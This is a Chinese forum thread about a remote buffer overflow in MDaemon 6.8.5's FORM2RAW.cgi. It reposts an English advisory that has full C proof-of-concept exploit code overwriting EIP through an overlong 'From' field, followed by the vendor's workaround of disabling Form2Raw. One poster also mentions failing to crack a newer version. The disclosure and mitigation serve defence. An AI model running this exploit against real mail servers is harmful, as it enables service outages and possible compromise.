15 12
发新话题
打印

MD6.8.5重大漏洞

263shanghai

MD6.8.5重大漏洞

MD6.8.5(包括前几版~)有重大漏洞,可导致SMTP停止服务,精心构建的恶意代码可开启shell~
像输光钱的赌徒;明天,不知道! MSN wantm009 #hotmail.com

Re:MD6.8.5重大漏洞

给点详细的介绍啊
·只有敢于攀登顶峰的人,才能把顶峰踩在脚下。
·不怕失败,超越自我。
·在努力,再努力。
http://forum.maytide.net
http://forum.hamstc.org
http://mdaemon.maytide.net
http://goxia.maytide.net

Re:MD6.8.5重大漏洞

把相关资料贴出来吧。
╔━╗┊风┊的┊伤┊软┊看┊远┊选 ┃封┃┊而┊我┊痕┊弱┊破┊离┊择 ┃爱┃┊散┊已┊累┊也┊也┊爱┊逃 ╚━╝  ┊随┊累┊罢┊好┊情┊避

Re:MD6.8.5重大漏洞

版主! 我们应该如何补漏洞呢,详细说一下解决办法嘛!

Re:MD6.8.5重大漏洞

到底什么漏洞,怎么解决。 冠子卖得时间太长了点了吧

Re:MD6.8.5重大漏洞

真是的!不江湖
·只有敢于攀登顶峰的人,才能把顶峰踩在脚下。
·不怕失败,超越自我。
·在努力,再努力。
http://forum.maytide.net
http://forum.hamstc.org
http://mdaemon.maytide.net
http://goxia.maytide.net

Re:MD6.8.5重大漏洞

我的IMAIL板块人气不高~ 所以来MD窜窜门~

如果你是IMAIL的问题,我一定“江湖”

至于这个MD的漏洞确实是非常严重,如果你可以升级到7.0是最好的,

像输光钱的赌徒;明天,不知道! MSN wantm009 #hotmail.com

TOP

Re:MD6.8.5重大漏洞

Title 1/1/2004
Remote Buffer Overflow in MDaemon (Raw Message Handler)


Summary
"MDaemon offers a full range of mail server functionality. MDaemon protects your users from spam and viruses, provides full security, includes seamless web access to your email via WorldClient, remote administration, and much more!".
FORM2RAW.exe is a CGI that allows users to send emails using the MDaemon via a web page. It processes the fields of an HTML form and creates a raw message file in the raw queue directory of MDaemon mail server. This file then will be processed and queued for delivery by MDaemon. An attacker can cause a buffer overflow in MDaemon by issuing a malformed CGI request to FORM2RAW.exe.


Details
Vulnerable Systems:
* MDaemon 6.85 and prior to 6.52

According to the Help file "By default, MDaemon 6.52 or higher will not send emails created by Form2Raw unless the email address passed in the 'from' tag (see below) is a valid account on the MDaemon server. If you want to disable this behavior you can set the FromCheck=No in FORM2RAW.INI file".

Sending more than 153 bytes in the "From" field to FROM2Raw.exe creates a raw file that when processed by MDaemon will cause a Stack buffer overflow. The EIP register will be overwritten when the From field length is 249 bytes.

The FORM2RAW.exe is accessible on any default installation of WorlClient Web server (usually listening on port 3000).

Exploit:
#include
#include
#include
#pragma comment (lib,"ws2_32")
#define RET 0x1dff160
#define PORT 3000
void main(int argc, char **argv)
{
SOCKET s = 0;
WSADATA wsaData;

if(argc < 2)
{
fprintf(stderr, "MDaemon form2raw.cgi Exploit Written by Behrang Fouladi, " \
"\nUsage: %s \n", argv[0]);

printf("%d",argc);
exit(0);
}

WSAStartup(MAKEWORD(2,0), &wsaData);

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if(INVALID_SOCKET != s)
{
SOCKADDR_IN anAddr;
anAddr.sin_family = AF_INET;
anAddr.sin_port = htons(PORT);
anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);

if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
{
static char buffer[500];
int i;
memset(buffer,0,sizeof(buffer));
strcpy(buffer,"get /form2raw.cgi?From=");
for(i=0;i<244;i++) {

strcat(buffer,"a");
}

strcat(buffer,"bbbb"); //Overwrites EIP
strcat(buffer,"c"); //One byte left after ESP :-(
strcat(buffer,"&To=me@hell.org&Subject=hi&Body=hello HTTP/1.0\r\n\r\n");

send(s, buffer, strlen(buffer), 0);
printf("Exploit Sent.");

}

else printf("Error Connecting to The Target.\n");
closesocket(s);
}

WSACleanup();
}

Vendor Response (Patch):

Robin Edwards Wrote: We have had a similar vulnerability report with Form2Raw and hope to release a patch soon. In the meantime it is easy to disable Form2Raw by following the instructions below:

To disable FORM2RAW open the
\MDaemon\WorldClient\WorldClient.ini file with Notepad and
delete the following two lines:

CgiBase2=/Form2Raw.cgi
CgiFile2=C:\MDaemon\CGI\Form2Raw.exe

Afterward, restart WorldClient to register the change.
╔━╗┊风┊的┊伤┊软┊看┊远┊选 ┃封┃┊而┊我┊痕┊弱┊破┊离┊择 ┃爱┃┊散┊已┊累┊也┊也┊爱┊逃 ╚━╝  ┊随┊累┊罢┊好┊情┊避

TOP

╔━╗┊风┊的┊伤┊软┊看┊远┊选 ┃封┃┊而┊我┊痕┊弱┊破┊离┊择 ┃爱┃┊散┊已┊累┊也┊也┊爱┊逃 ╚━╝  ┊随┊累┊罢┊好┊情┊避

TOP

Re:MD6.8.5重大漏洞

To disable FORM2RAW open the
\MDaemon\WorldClient\WorldClient.ini file with Notepad and
delete the following two lines:

CgiBase2=/Form2Raw.cgi
CgiFile2=C:\MDaemon\CGI\Form2Raw.exe

Afterward, restart WorldClient to register the change.


解决办法?是删除这2个文件吗?
然后重新启动就可以了?

7.0.1 没破戒成功.......只好用6.8.5

TOP

 15 12
发新话题
  清除 Cookies - 联系我们 - 邮件技术资讯网 - Archiver - WAP - 繁體中文
当前时区 GMT+8, 现在时间是 2008-7-19 11:20

本论坛为非盈利中立机构,论坛所有言论纯属发表者个人意见,与《 邮件技术资讯网》论坛立场无关。内容所涉及的版权和法律相关事宜请参考各自所有者的条款。
如果认定侵犯了您的权利,请联系我们尽快处理。本论坛原创内容请联系本站后再行转载并务必保留我站信息。此声明修改不再另行通知,本论坛保留最终解释权。
*本论坛QQ群:1#群2233231(已满) 2#群2598254(推荐) 3#群15974064(推荐) 4#群14173252(推荐)*
* 建议使用 1024×768 模式查看本论坛 *
Powered by Discuz! 6.1.0